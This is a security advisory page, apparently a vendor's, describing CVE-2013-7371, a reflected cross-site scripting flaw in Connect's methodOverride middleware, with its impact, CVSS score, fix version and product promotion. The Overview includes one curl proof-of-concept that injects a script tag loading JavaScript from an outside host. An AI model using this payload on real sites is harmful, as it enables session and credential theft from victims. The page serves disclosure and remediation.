Summary
Node Connect Reflected Cross-Site Scripting in Sencha Labs Connect middleware
node-connect before 2.8.2 has cross site scripting in Sencha Labs Connect middleware (vulnerability due to incomplete fix for CVE-2013-7370)
Overview
Connect is a stack of middleware that is executed in order in each request.
The "methodOverride" middleware allows the http post to override the method of the request with the value of the "_method" post key or with the header "x-http-method-override".
Because the user post input was not checked, req.method could contain any kind of value. Because the req.method did not match any common method VERB, connect answered with a 404 page containing the "Cannot [method] [url]" content. The method was not properly encoded for output in the browser.
Example:
~ curl "localhost:3000" -d "_method=<script src=http://nodesecurity.io/xss.js></script>"
Cannot <SCRIPT SRC=HTTP://NODESECURITY.IO/XSS.JS></SCRIPT> /
Credit:
Sergio Arcos
Impact
Untrusted input is rendered as active markup in a victim's browser, which can run script in their session. Typical impact: session or credential theft, and actions taken as the user.
CVE-2013-7371 has a CVSS score of 6.1 (Medium). The vector is network-reachable, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.8.2); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Update to the newest version of Connect or disable methodOverride. It is not possible to avoid the vulnerability if you have enabled this middleware in the top of your stack.
Frequently Asked Questions
- What is CVE-2013-7371? CVE-2013-7371 is a medium-severity cross-site scripting (XSS) vulnerability in connect (npm), affecting versions < 2.8.2. It is fixed in 2.8.2. Untrusted input is rendered as active markup in a victim's browser, which can run script in their session.
- How severe is CVE-2013-7371? CVE-2013-7371 has a CVSS score of 6.1 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of connect are affected by CVE-2013-7371? connect (npm) versions < 2.8.2 is affected.
- Is there a fix for CVE-2013-7371? Yes. CVE-2013-7371 is fixed in 2.8.2. Upgrade to this version or later.
- Is CVE-2013-7371 exploitable, and should I be worried? Whether CVE-2013-7371 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2013-7371 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2013-7371? Upgrade
connectto 2.8.2 or later.